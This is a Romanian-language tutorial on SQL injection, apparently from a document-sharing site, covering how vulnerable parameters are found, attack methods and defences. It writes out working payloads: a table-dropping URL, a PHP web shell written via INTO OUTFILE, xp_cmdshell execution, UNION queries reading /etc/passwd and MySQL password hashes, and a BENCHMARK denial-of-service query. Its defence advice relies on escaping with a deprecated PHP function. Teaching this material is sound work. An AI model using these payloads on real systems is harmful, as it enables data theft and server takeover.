You are on page 1of 5

SQL Injection

1. Introducere SQL Injection este o vulnerabilitate ce apare n cazurile cnd datele primite de la utilizatori nu se prelucreaza corect. Ca consecinta raufacatorul potential poate schimba cererea la baza de date, asfel fiind posibil furtul datelor private.

2. Proceduri de testare a aplicatiilor web la SQL-injection Procedurile de testare a aplicatiilor web la SQL Injection se reduc la formarea unei liste de parametri cu care lucreaza aplicatia (att parametrii GET ct si POST), incluznd si parametrii cookie. Apoi acesti parametri se testeaza individual la prelucrarea simbolurilor speciale sau a cuvintelor cheie (de genul WHERE) care ar ajuta la exploatarea vulnerabilitatii.

2.1. Identificarea parametrilor vulnerabili Sa presupunem ca aplicatia-web este configurata astfel, nct n cazul aparitiei unei erori SQL, n browser va apare textul erorii si posibil o portiune din interogare. Daca raufacatorului i se afiseaza chiar si o portiune de interogare, injectarea codului SQL malicios nu va fi o problema. Presupunem ca aplicatiei-web i s-a transmis un parametru GET id=aaa': http://locahost/example.asp?id=aaa' Pentru a determina daca parametrul este vulnerabil este nevoie de a cauta n pagina returnata de server a frazelor de genul ODBC, have an error, SQL syntax, SQL Server, MySQL, Oracle etc. Exista cazuri cnd erorile returnate de server se plaseaza n parametrii ascunsi (hidden input, headers) sau comentarii. n acest caz raufacatorului i este foarte usor de a injecta un cod SQL malicios:

http://localhost/example.asp?id=aaa';+drop+table+users;--

3. Metode de atac

Sa presupunem ca raufacatorul a gasit un parametru vulnerabil. Pentru a exploata vulnerablitatea raufacatorul ar trebui aproximativ sa cunoasca tipul

cererii SQL n care va fi injectat codul malicios. Cel mai des n aplicatiile-web sunt utilizate 4 tipuri de cereri SQL:

1. SELECT

2. INSERT

3. UPDATE

4. DELETE

Care dintre acestea este folosit ntr-un caz concret, poate fi determinat analiznd logica si semantica scriptului vulnerabil. Daca scriptul afiseaza date ce corespund unui identificator anumit, atunci cu o mare probabilitate cererea este de tipul SELECT. Daca scriptul adauga unele date n baza de date, spre exemplu adaugarea unui comentariu, sau un post n forum cererea este de tipul INSERT. Daca scriptul modifica informatia, spre exemplu schimbarea parolei, redactarea postului n forum cererea este de tipul UPDATE. Daca are loc stergerea informatiei, spre exemplu anularea accountului, posibil ca cererea este sau de tipul DELETE sau de tipul UPDATE. Cel mai des sunt ntlnite vulnerabilitati n cereri SELECT.
3.2. Obtinerea unui interpretator de comenzi

Unele SGBD permit extragerea rezultatelor cererii SQL ntr-un fisier. Acest lucru permite raufacatorilor de a forma un script care ulterior va fi util pentru controlul total al serverului (spre exemplu un php sau asp shell). n MySQL extragerea rezultatelor n fisier se face utiliznd clauza INTO OUTFILE. Un exemplu simplu ar fi urmatorul: INSERT '<? system($cmd) ?>' INTO OUTFILE /tmp/shell.php n MS SQL Server extragerea rezultatelor n fisier putin difera. n componenta cu serverul sunt unele module ce contin proceduri ce usureaza lucrul cu serverul si care pot fi apelate direct din cererea SQL. Una din aceste proceduri master.dbo.sp_makewebtask are destinatia aceasta. O alta metoda de a executa comenzi de sistem pe serverul pe care este instalat SGBD MS SQL Server este utilizarea procedurii master.dbo.xp_cmdshell. Un exemplu de cerere SQL: EXEC master.dbo.xp_cmdshell 'cmd.exe dir'
3.3.1. MySQL

SQL injecion permite de a afla si alte date:

/* baza de date curenta */ select * from users where id=-1 UNION SELECT 0,1,2,3,4,DATABASE(); /* utilizatorul care a lansat baza de date */ select * from users where id=-1 UNION SELECT 0,1,2,3,4,USER(); /* versiunea serverului */ select * from users where id=-1 UNION SELECT 0,1,2,3,4,VERSION();

Daca utilizatorul care a lansat SGBD are drepturi file_priv, atunci raufacatorul poate obtine continutul oricarui fisier de pe server:

http://localhost/example.php?id=-1'+UNION+SELECT+0,1,2,3,4,5, LOAD_FILE('/etc/passwd')/*

O alta metoda de exploatare a vulnerabilitatii este utilizarea functiei char(num) care rentoarce simbolul cu codul ASCII num:

select * from users where id=9999 union select 0,1,2,char(109,121,115,113,108,46,117,115,101,114,46,112,97,115,115,119,111,114,1 00),4,5 from mysql.user

Ceea ce este echivalent cu:

select * from users where id=9999 union select 0,1,2,mysql.user.password,4,5 from mysql.user

Vulnerabilitatea SQL injection poate fi exploatata si pentru realizarea atacului DoS:

select * from users where id= BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date))) trimiterea de catre raufacator a cteva cereri de acest fel va face serverul sa frneze considerabil.

5. Metode de aparare

Pentru a evita o posibila exploatare a vulnerabilitatii SQL Injection n aplicatia web, este necesar de a prelucra toate datele ce provin de la utilizatori la urmatoarele simboluri: 1) Ghilimelele atit simple ct si duble (, , `). Cu ajutorul acestora n majoritatea cazurilor se efectuiaza injectarea codului SQL.

2) Simbolurile de comentarii specifice SGBD anumit (/*,--). Cu ajutorul acestora poate fi omisa o parte din interogare.

3) Simbolurile ce mpart instructiunile SQL (;). Prezenta acestui simbol permite de a forma mai multe cereri la baza de date.

4) Deasemenea datele ar trebui sa fie verificate la prezenta si la alte simboluri (_,%,*).

5) n cazul cnd n cererea SQL se utilizeaza date numerice primite de la utilizatori, nainte de a le plasa n cererea SQL acestea ar trebui aduse la tipul numeric: $id=(int)$id;

6) n cazul cnd n cererea SQL se utilizeaza date de tip sir de caractere primite de la utilizatori, nainte de a le plasa n cererea SQL acestea ar trebui prelucrate la simboluri speciale. Cea mai buna practica este formarea expresiilor regulate
.

PHP ofera o functie care se ocupa cu inserarea userului in MySQL, si aceea este mysql_real_escape_string(string unescaped_string[, resource link_identifier]). Acest script scapa de toate caracterele potential periculoase din sir si transforma sirul escaped intr-unul prudent pentru a fi folosit in sirul MySQL. (Functia originala, mysql_escape_string, nu a luat in considerare caracterul curent pentru a iesi din sir, nici nu a acceptat argumentul conexiunii. Este dezaprobata inca de la PHP 4.3.0) Spre exemplu, luati urmatorul exemplu: $result=mysql_query('SELECT * FROM users WHERE username="'.$_GET['username'].'"');

Aceasta poate fi escaped dupa cum urmeaza:

$result=mysql_query('SELECT * FROM users WHERE username="'.mysql_real_escape_string($_GET['username']).'"'); Astfel, daca userul a incercat sa insereze o alta declaratie in afara de DELETE, ar fi interpretat inofensiv ca o parte din parametrul clauza WHERE:

SELECT * FROM `users` WHERE username = '';DELETE * FROM `forum` WHERE title != '' Backslashurile adaugate de mysql_real_escape_string face ca MySQL sa le interpreteze mai degraba ca si caractere cu un singur apostrof decat ca si parte din declaratia SQL. Luati la cunostinta, MySQL nu permite multe interogari asadar DELETE FROM din tabel nu merge oricum.

You might also like